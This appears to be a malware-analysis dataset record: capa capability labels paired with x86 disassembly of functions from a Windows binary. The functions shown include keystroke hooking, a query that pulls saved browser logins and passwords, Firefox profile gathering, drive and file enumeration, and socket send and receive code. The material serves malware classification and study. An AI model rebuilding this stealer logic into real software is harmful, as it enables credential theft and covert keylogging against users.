joyce8/EMBER2024-capa huggingface dataset:
Function at 0x63085166
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ebx
lea eax, [ebp - 0xc]
sub esp, 0x34
mov dword [ebp - 0xc], 0
mov ebx, dword [ebp + 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [ebp - 0xc]
sub esp, 0x20
mov dword [esp], ebx
mov dword [esp + 4], str._08lx
mov dword [esp + 8], eax
call sub.msvcrt.dll_sprintf
mov eax, ebx
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x630851db
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov al, byte [ebp + 0x10]
mov dword [esp + 0x10], 0x630c433a
mov dword [esp + 4], str.Open
mov dword [esp], 0
xor eax, 1
movzx eax, al
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
sub esp, 0x18
cmp eax, 0x20
setg al
leave
ret

Function at 0x63085224
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
xor eax, eax
mov ecx, 0x11
mov ebp, esp
push edi
push ebx
lea edx, [ebp - 0x4c]
lea ebx, [ebp - 0x5c]
sub esp, 0x90
mov edi, edx
rep stosd dword es:[edi], eax
mov ecx, 4
mov edi, ebx
mov dword [ebp - 0x4c], 0x44
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
sub esp, 0x28
test eax, eax
setne dl
mov edi, edx
je 0x630852c0
mov eax, dword [ebp - 0x5c]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp], eax
call ebx
push eax
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call ebx
push edx
lea esp, [ebp - 8]
mov eax, edi
pop ebx
pop edi
pop ebp
ret
Function at 0x63085402
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
lea ebx, [ebp - 0x58]
sub esp, 0x8c
mov dword [ebp - 0x5c], 0
mov dword [esp + 4], 0x630c4232
mov dword [esp], 0x6315dc80
call dword [sym.imp.msvcrt.dll__wfopen]
test eax, eax
jne 0x63085494
xor eax, eax
mov edi, ebx
mov ecx, 0x10
rep stosd dword es:[edi], eax
mov dword [esp], 0
mov edi, ebx
call sub.msvcrt.dll_time
lea esi, [eax - 0x15180]
mov dword [esp + 4], 0x630c434c
mov dword [esp], ebx
mov dword [esp + 8], esi
call sub.msvcrt.dll_sprintf
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x630c4350
not ecx
mov dword [esp + 4], ebx
mov dword [esp], 0x6315dc80
dec ecx
mov dword [esp + 0x10], ecx
call fcn.63085390
jmp 0x630854dd
mov edx, eax
mov ecx, 0x10
xor eax, eax
mov edi, ebx
mov dword [ebp - 0x70], edx
rep stosd dword es:[edi], eax
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], 1
mov dword [esp], ebx
call sub.msvcrt.dll_fread
mov dword [esp], ebx
call sub.msvcrt.dll_atol
mov edx, dword [ebp - 0x70]
mov esi, eax
mov dword [esp], edx
call sub.msvcrt.dll_fclose
test esi, esi
jle 0x63085431
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp + 4], esi
mov dword [esp], eax
call fcn.630aa8a0
fnstcw word [ebp - 0x6a]
mov ax, word [ebp - 0x6a]
or ah, 0xc
mov word [ebp - 0x6c], ax
lea eax, [ebp - 0x5c]
fldcw word [ebp - 0x6c]
fistp dword [ebp - 0x5c]
fldcw word [ebp - 0x6a]
mov dword [esp], eax
call sub.msvcrt.dll_localtime
mov eax, dword [eax + 0x1c]
add esp, 0x8c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x63085525
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x81c
mov edi, dword [ebp + 8]
cmp word [edi], 0
je 0x63085594
lea ebx, [ebp - 0x818]
mov esi, ebx
mov ax, word [edi]
test ax, ax
je 0x6308557a
cmp ax, 0x5c
jne 0x6308556a
mov word [ebx], 0
mov dword [esp], esi
call fcn.6308535e
test al, al
jne 0x6308556a
mov dword [esp], esi
call dword [sym.imp.msvcrt.dll__wmkdir]
add edi, 2
mov ax, word [edi - 2]
add ebx, 2
mov word [ebx - 2], ax
jmp 0x63085542
mov word [ebx], 0
mov dword [esp], esi
call fcn.6308535e
test al, al
jne 0x63085594
mov dword [esp], esi
call dword [sym.imp.msvcrt.dll__wmkdir]
add esp, 0x81c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x6308559f
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
mov ebx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp], 0
mov dword [esp + 0x10], ebx
mov dword [esp + 4], eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
sub esp, 0x14
test eax, eax
mov eax, 0
cmovne eax, ebx
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x63085c61
Capabilities:
Contain obfuscated stackstrings
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
cmp byte [0x631e3ae1], 0
mov ebx, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
je 0x63085ca7
cmp byte [0x631e3ae0], 0
je 0x63085ca7
test ebx, ebx
je 0x63085ca7
mov dword [esp], ebx
call fcn.630815d6
test eax, eax
jne 0x63085ca7
add esp, 0x1c
mov ecx, edi
mov edx, esi
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
jmp fcn.63085a98
add esp, 0x1c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x63085eef
Capabilities:
Contain obfuscated stackstrings
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
cmp byte [0x631e3ae1], 0
mov ebx, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
je 0x63085f2c
test ebx, ebx
je 0x63085f2c
mov dword [esp], ebx
call fcn.630815d6
test eax, eax
jne 0x63085f2c
add esp, 0x1c
mov ecx, edi
mov edx, esi
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
jmp fcn.63085cb1
add esp, 0x1c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x63086d2e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x84c
cmp byte [0x631e3ae0], 0
mov edi, dword [ebp + 0xc]
je 0x63086ecd
lea eax, [ebp - 0x81c]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dword [0x631e3ab8]
test eax, eax
jne 0x63086ecd
lea eax, [ebp - 0x820]
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0xffffffff
mov dword [esp + 4], str.SELECT_origin_url__username_value__password_value_FROM_logins
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x81c]
mov dword [esp], eax
call dword [0x631e3ab4]
test eax, eax
jne 0x63086eaf
lea esi, [ebp - 0x818]
lea ebx, [ebp - 0x418]
mov eax, dword [ebp - 0x820]
mov dword [esp], eax
call dword [0x631e3ab0]
cmp eax, 0x64
jne 0x63086eaf
mov eax, dword [ebp - 0x820]
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [0x631e3aac]
mov dword [ebp - 0x830], eax
mov eax, dword [ebp - 0x820]
mov dword [esp + 4], 1
mov dword [esp], eax
call dword [0x631e3aac]
mov dword [ebp - 0x82c], eax
mov eax, dword [ebp - 0x820]
mov dword [esp + 4], 2
mov dword [esp], eax
call dword [0x631e3aac]
mov dword [esp + 4], esi
mov dword [esp], eax
call fcn.6308496a
mov ecx, dword [ebp - 0x830]
mov dword [esp], ebx
mov dword [esp + 4], ecx
call sub.msvcrt.dll_strcpy
mov dword [esp + 4], 0x630c4454
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
mov edx, dword [ebp - 0x82c]
mov dword [esp], ebx
mov dword [esp + 4], edx
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x630c4454
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x630c4456
mov dword [esp], ebx
call sub.msvcrt.dll_strcat
mov dword [esp + 8], edi
mov dword [esp + 4], ebx
mov dword [esp], 0
call fcn.63085a10
test eax, eax
jns 0x63086dad
mov dword [esp + 4], ebx
mov dword [esp], edi
call sub.msvcrt.dll_strcat
jmp 0x63086dad
mov eax, dword [ebp - 0x820]
mov dword [esp], eax
call dword [0x631e3aa8]
mov eax, dword [ebp - 0x81c]
mov dword [esp], eax
call dword [0x631e3ac4]
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
add esp, 0x84c
mov eax, ecx
not eax
pop ebx
dec eax
pop esi
pop edi
pop ebp
ret
Function at 0x63087483
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
xor eax, eax
mov ecx, 4
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x28]
push ebx
sub esp, 0x2c
mov esi, dword [ebp + 8]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov dword [esp + 8], 0
mov ebx, eax
mov dword [esp + 4], 1
mov dword [esp], 2
call dword [sym.imp.WS2_32.dll_socket]
sub esp, 0xc
mov dword [esi], eax
inc eax
jne 0x630874d1
xor eax, eax
jmp 0x63087524
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
push ecx
je 0x630874cd
mov eax, dword [eax + 0xc]
movzx ebx, bx
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp], ebx
mov dword [ebp - 0x24], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x26], ax
push edx
lea eax, [ebp - 0x28]
mov word [ebp - 0x28], 2
mov dword [esp + 8], 0x10
mov dword [esp + 4], eax
mov eax, dword [esi]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_connect]
sub esp, 0xc
inc eax
setne al
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x63087554
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
lea edx, [ebp - 0x114]
sub esp, 0x134
mov eax, dword [ebp + 0x14]
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x10c], 1
mov dword [ebp - 0x114], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x110], eax
mov eax, dword [ebx]
mov dword [esp + 0x10], edx
lea edx, [ebp - 0x10c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [ebp - 0x108], eax
inc eax
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_select]
sub esp, 0x14
test eax, eax
mov edx, eax
jle 0x630875ea
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_recv]
mov edx, 0xffffffff
sub esp, 0x10
test eax, eax
cmovne edx, eax
mov eax, edx
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x63087630
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov eax, dword [ebp + 0x10]
mov ebx, dword [ebp + 8]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_send]
sub esp, 0x10
cmp eax, 0xffffffff
jne 0x63087669
mov dword [ebx], 0xffffffff
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x630876c0
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
push ecx
jne 0x630876ea
mov dword [esp], 0x630c4132
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
push edx
je 0x63087727
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], sym.lib.dll_qeyEvent_12
mov dword [esp], 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
sub esp, 0x10
mov dword [0x63159460], eax
call fcn.6308766e
mov eax, dword [0x63159460]
mov dword [esp], eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push eax
leave
ret
Function at 0x6308aeeb
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov eax, 0x1ebc
mov ebp, esp
push edi
push esi
push ebx
call fcn.630a6c70
mov esi, 0x630ba080
sub esp, eax
mov eax, 0x108
lea edi, [ebp - 0x1c38]
mov ecx, eax
lea ebx, [ebp - 0x1818]
rep movsd dword es:[edi], dword [esi]
mov edi, ebx
mov eax, ecx
mov ecx, 0x200
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_wcscpy
mov dword [esp], ebx
call fcn.630852d2
mov dword [esp + 4], 0x630c441c
mov dword [esp], ebx
call sub.msvcrt.dll_wcscat
lea eax, [ebp - 0x1e88]
mov dword [esp], ebx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x1eac], eax
inc eax
push ecx
push ecx
je 0x6308b0af
lea esi, [ebp - 0x1e5c]
lea ebx, [ebp - 0x1018]
test byte [ebp - 0x1e88], 0x10
je 0x6308afb5
mov dword [esp + 4], 0x630c4420
mov dword [esp], esi
call fcn.6308579a
test al, al
jne 0x6308b03a
mov dword [esp + 4], 0x630c4424
mov dword [esp], esi
call fcn.6308579a
test al, al
jne 0x6308b03a
jmp 0x6308b06f
lea ecx, [ebp - 0x1ea8]
mov dword [esp + 8], 0x20
mov dword [esp], esi
lea edi, [ebp - 0x1c38]
mov dword [esp + 4], ecx
mov dword [ebp - 0x1eb0], ecx
call fcn.6308a9c1
mov ecx, dword [ebp - 0x1eb0]
mov dword [esp], ecx
mov dword [esp + 4], edi
mov dword [ebp - 0x1eb0], ecx
call fcn.6308579a
test al, al
mov ecx, dword [ebp - 0x1eb0]
je 0x6308b02d
xor eax, eax
mov edi, ebx
mov ecx, 0x400
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_wcscpy
mov dword [esp], ebx
call fcn.630852d2
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_wcscat
jmp 0x6308b03a
lea eax, [ebp - 0x1818]
add edi, 0x10
cmp eax, edi
jne 0x6308afe1
lea eax, [ebp - 0x1e88]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1eac]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
push edx
push edx
jne 0x6308af77
mov eax, dword [ebp - 0x1eac]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push eax
jmp 0x6308b0af
xor eax, eax
mov edi, ebx
mov ecx, 0x400
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_wcscpy
mov dword [esp], ebx
call fcn.630852d2
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_wcscat
mov dword [esp], ebx
call fcn.630852d2
mov dword [esp], ebx
call fcn.6308aeeb
jmp 0x6308b03a
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x6308b0b7
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
lea ebx, [ebp - 0x418]
sub esp, 0x44c
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [ebp - 0x430], eax
lea eax, [ebp - 0x430]
mov dword [esp], eax
call sub.msvcrt.dll_localtime
mov dword [ebp - 0x43c], 0x63162480
mov esi, eax
xor eax, eax
mov ecx, 0x100
mov edi, ebx
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x43c]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_strcpy
mov dword [esp], ebx
call fcn.63089800
test al, al
je 0x6308b130
jmp 0x6308b23e
add dword [ebp - 0x43c], 0x100
mov eax, 0x63162a80
cmp eax, dword [ebp - 0x43c]
jne 0x6308b0f5
jmp 0x6308b14b
cmp dword [esi + 0x14], 0x74
jle 0x6308b23e
cmp dword [0x63159468], 2
setg al
cmp dword [esi + 0x14], 0x74
jle 0x6308b16e
cmp dword [esi + 0x10], 3
mov dl, 1
cmovge eax, edx
mov edx, dword [0x630c3304]
cmp dword [0x63159468], edx
jge 0x6308b184
test al, al
je 0x6308b245
xor eax, eax
mov ecx, 0x40
mov edi, ebx
rep stosd dword es:[edi], eax
mov dword [esp + 4], ebx
mov dword [esp], 0x100
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
push esi
push esi
lea esi, [ebp - 0x42c]
mov al, byte [ebx + 0x100]
test al, al
je 0x6308b21c
movsx edi, al
mov dword [esp], edi
call dword [sym.imp.msvcrt.dll_tolower]
cmp eax, 0x61
je 0x6308b21c
mov dword [esp + 8], edi
mov dword [esp + 4], str._c:_
mov dword [esp], esi
call sub.msvcrt.dll_sprintf
mov dword [esp], esi
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
call edi
cmp eax, 2
push ecx
je 0x6308b1f3
mov dword [esp], esi
call edi
cmp eax, 3
push edx
jne 0x6308b21c
movsx eax, byte [ebp - 0x42c]
lea edi, [ebp - 0x428]
mov dword [esp + 4], 0x630c4950
mov dword [esp], edi
mov dword [esp + 8], eax
call fcn.63081580
mov dword [esp], edi
call fcn.6308aeeb
lea eax, [ebp - 0x51c]
sub ebx, 4
cmp eax, ebx
jne 0x6308b1a8
jmp 0x6308b245
xor eax, eax
jmp 0x6308b15f
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x6308b42d
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov eax, 0x806c
mov ebp, esp
push edi
push esi
push ebx
call fcn.630a6c70
sub esp, eax
mov eax, dword [ebp + 8]
mov ebx, dword [sym.imp.msvcrt.dll__wfopen]
mov dword [esp + 4], 0x630c4232
mov dword [esp], eax
call ebx
mov esi, eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0x630c4350
mov dword [esp], eax
call ebx
test esi, esi
je 0x6308b5b0
test eax, eax
mov edi, eax
je 0x6308b5b0
lea eax, [ebp - 0x8050]
mov dword [esp + 0xc], 0x38
mov dword [esp + 8], 0x630c495a
mov dword [esp + 4], 0x1f
mov dword [ebp - 0x8030], 0
mov dword [esp], eax
mov dword [ebp - 0x802c], 0
mov dword [ebp - 0x8028], 0
call fcn.63092ee0
test eax, eax
mov edx, eax
jne 0x6308b5ff
lea eax, [ebp - 0x8018]
mov dword [esp + 0xc], esi
mov dword [esp + 8], 0x4000
mov dword [esp + 4], 1
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov dword [esp], esi
mov dword [ebp - 0x804c], eax
call sub.msvcrt.dll_ferror
test eax, eax
je 0x6308b50e
lea eax, [ebp - 0x8050]
mov dword [esp], eax
call fcn.630920b0
jmp 0x6308b5b0
mov dword [esp], esi
call sub.msvcrt.dll_feof
cmp eax, 1
lea eax, [ebp - 0x8018]
sbb ebx, ebx
not ebx
mov dword [ebp - 0x8050], eax
and ebx, 4
lea eax, [ebp - 0x4018]
mov dword [esp + 4], ebx
mov dword [ebp - 0x8040], 0x4000
mov dword [ebp - 0x8044], eax
lea eax, [ebp - 0x8050]
mov dword [esp], eax
call fcn.63093290
cmp eax, 0xfffffffe
mov dword [ebp - 0x805c], eax
je 0x6308b4fb
mov edx, 0x4000
sub edx, dword [ebp - 0x8040]
lea eax, [ebp - 0x4018]
mov dword [esp + 0xc], edi
mov dword [esp + 4], 1
mov dword [esp], eax
mov dword [esp + 8], edx
mov dword [ebp - 0x8060], edx
call sub.msvcrt.dll_fwrite
mov edx, dword [ebp - 0x8060]
cmp edx, eax
jne 0x6308b4fb
mov dword [esp], edi
call sub.msvcrt.dll_ferror
test eax, eax
mov edx, eax
jne 0x6308b4fb
jmp 0x6308b5b5
or edx, 0xffffffff
jmp 0x6308b5ff
cmp dword [ebp - 0x8040], 0
je 0x6308b52c
cmp dword [ebp - 0x804c], 0
jne 0x6308b4fb
cmp ebx, 4
jne 0x6308b4c7
cmp dword [ebp - 0x805c], 1
jne 0x6308b4fb
lea eax, [ebp - 0x8050]
mov dword [ebp - 0x805c], edx
mov dword [esp], eax
call fcn.630920b0
mov edx, dword [ebp - 0x805c]
add esp, 0x806c
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x6308d4f9
Capabilities:
Get disk information

Disassembly:
push ebp
xor eax, eax
mov ecx, 0x40
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x518]
push ebx
xor esi, esi
sub esp, 0x53c
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x518]
mov dword [esp], 0x100
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
push ecx
push ecx
mov al, byte [ebp + esi - 0x518]
test al, al
je 0x6308d5da
movsx ebx, al
mov dword [esp], ebx
call dword [sym.imp.msvcrt.dll_tolower]
cmp eax, 0x61
je 0x6308d5da
lea eax, [ebp - 0x51c]
mov dword [esp + 8], ebx
mov dword [esp + 4], str._c:_
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x51c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
push edx
jne 0x6308d5da
lea ebx, [ebp - 0x418]
xor eax, eax
mov ecx, 0x100
mov edi, ebx
rep stosd dword es:[edi], eax
movsx eax, byte [ebp - 0x51c]
mov dword [esp + 0x10], 0x630c4688
mov dword [esp + 0xc], 0x63163880
mov dword [esp + 4], str._c_:_ls_ls
mov dword [esp], ebx
mov dword [esp + 8], eax
call fcn.63081580
mov dword [esp], ebx
call fcn.6308532c
test al, al
jne 0x6308d5da
mov dword [esp + 4], 4
mov dword [esp], ebx
call fcn.6308c9d8
add esi, 4
cmp esi, 0x100
jne 0x6308d52f
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x6308e1c4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x34
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp], 0x309
call ebx
push ecx
mov dword [esp], 0x6315e480
call fcn.6308535e
test al, al
jne 0x6308e1f7
mov dword [esp], 0x6315e480
call fcn.63085525
mov dword [esp], 0x6315ec80
call fcn.6308535e
test al, al
jne 0x6308e213
mov dword [esp], 0x6315ec80
call fcn.63085525
mov dword [esp], 0x6315d480
call fcn.6308532c
test al, al
je 0x6308e3d3
mov dword [esp], 0x6315cc80
call fcn.6308532c
test al, al
je 0x6308e3d3
call fcn.63084ea2
test al, al
je 0x6308e3d3
call fcn.63084eb6
test al, al
je 0x6308e3d3
mov dword [esp], 0x6315d480
call fcn.63085224
test al, al
jne 0x6308e299
mov dword [esp], 0x309
call ebx
push eax
mov dword [esp + 4], 3
mov dword [esp], 0x6315d480
call fcn.6308c9d8
mov dword [esp], 0x309
call ebx
push eax
mov dword [esp], 0x6315d480
call fcn.63085224
mov dword [esp], 0x6315cc80
call fcn.63085224
test al, al
jne 0x6308e2dd
mov dword [esp], 0x309
call ebx
push ecx
mov dword [esp + 4], 1
mov dword [esp], 0x6315cc80
call fcn.6308c9d8
mov dword [esp], 0x309
call ebx
push eax
mov dword [esp], 0x6315cc80
call fcn.63085224
call fcn.63084ea2
test al, al
jne 0x6308e349
mov dword [esp], 0x63159c80
call fcn.63084e33
test al, al
jne 0x6308e349
mov dword [esp], 0x63159c80
call fcn.63084eca
lea eax, [ebp - 0xc]
mov byte [0x63159465], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x63087812
mov dword [esp + 0x14], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
test eax, eax
jne 0x6308e349
call fcn.63087793
call fcn.63084eb6
test al, al
jne 0x6308e366
call fcn.6308d2f0
mov dword [esp], 0x309
call ebx
push edx
call fcn.6308a8a0
mov dword [esp + 4], 0x63163680
mov dword [esp], 0x6315fc80
call fcn.6308579a
test al, al
jne 0x6308e39a
mov dword [esp + 4], 0x63163480
mov dword [esp], 0x6315fc80
call fcn.6308579a
test al, al
je 0x6308e4a7
mov dword [esp], 0x63159480
call fcn.63084e33
test al, al
jne 0x6308e3c4
mov dword [esp], 0x63159480
call fcn.63084eca
mov byte [0x63159466], 1
mov byte [0x63159464], 1
mov dword [esp], 0x1e61
call ebx
push eax
call fcn.6308d88a
mov dword [esp], 0x6315d480
call fcn.6308532c
test al, al
jne 0x6308e419
mov dword [esp], 0x309
call ebx
push eax
mov dword [esp + 4], 3
mov dword [esp], 0x6315d480
call fcn.6308c9d8
mov dword [esp], 0x309
call ebx
push edx
mov dword [esp], 0x6315d480
call fcn.63085224
jmp 0x6308e429
mov dword [esp], 0x6315d480
call fcn.63085224
test al, al
je 0x6308e3e3
mov dword [esp], 0x6315cc80
call fcn.6308532c
test al, al
jne 0x6308e46f
mov dword [esp], 0x309
call ebx
push eax
mov dword [esp + 4], 1
mov dword [esp], 0x6315cc80
call fcn.6308c9d8
mov dword [esp], 0x309
call ebx
push eax
mov dword [esp], 0x6315cc80
call fcn.63085224
jmp 0x6308e47f
mov dword [esp], 0x6315cc80
call fcn.63085224
test al, al
je 0x6308e439
mov dword [esp + 8], 0
mov dword [esp + 4], str.silent_pause
mov dword [esp], 0x6315fe80
call fcn.630851db
mov dword [esp], 0
call sub.msvcrt.dll_exit
call fcn.6308b0b7
jmp 0x6308e39a
Function at 0x6308e4b1
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
lea esi, [ebp - 0xc]
sub esp, 0x30
mov dword [esp], 0x6315ac80
call fcn.63084eca
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x63085089
mov dword [esp + 4], 0
mov dword [esp], 0
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
call ebx
sub esp, 0x18
mov dword [esp], 1
call fcn.630882a8
cmp byte [0x630c3300], 0
je 0x6308e521
mov dword [esp], 0x1e61
call dword [sym.imp.KERNEL32.dll_Sleep]
push ecx
cmp byte [0x630c3300], 0
je 0x6308e536
mov dword [esp], 0x630c4b82
call fcn.6308bbc0
mov dword [esp], 0x63159c80
call fcn.63084eca
mov byte [0x63159465], 1
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x63087812
mov dword [esp + 4], 0
mov dword [esp], 0
call ebx
sub esp, 0x18
test eax, eax
jne 0x6308e582
call fcn.63087793
mov dword [esp], 0x6315c480
call fcn.6308532c
test al, al
jne 0x6308e5bd
cmp byte [0x630c3300], 0
je 0x6308e5a9
mov dword [esp], 0x1e61
call dword [sym.imp.KERNEL32.dll_Sleep]
push edx
mov dword [esp + 4], 2
mov dword [esp], 0x6315c480
call fcn.6308c9d8
cmp byte [0x630c3300], 0
je 0x6308e5d4
mov dword [esp], 0x309
call dword [sym.imp.KERNEL32.dll_Sleep]
push eax
call fcn.6308d88a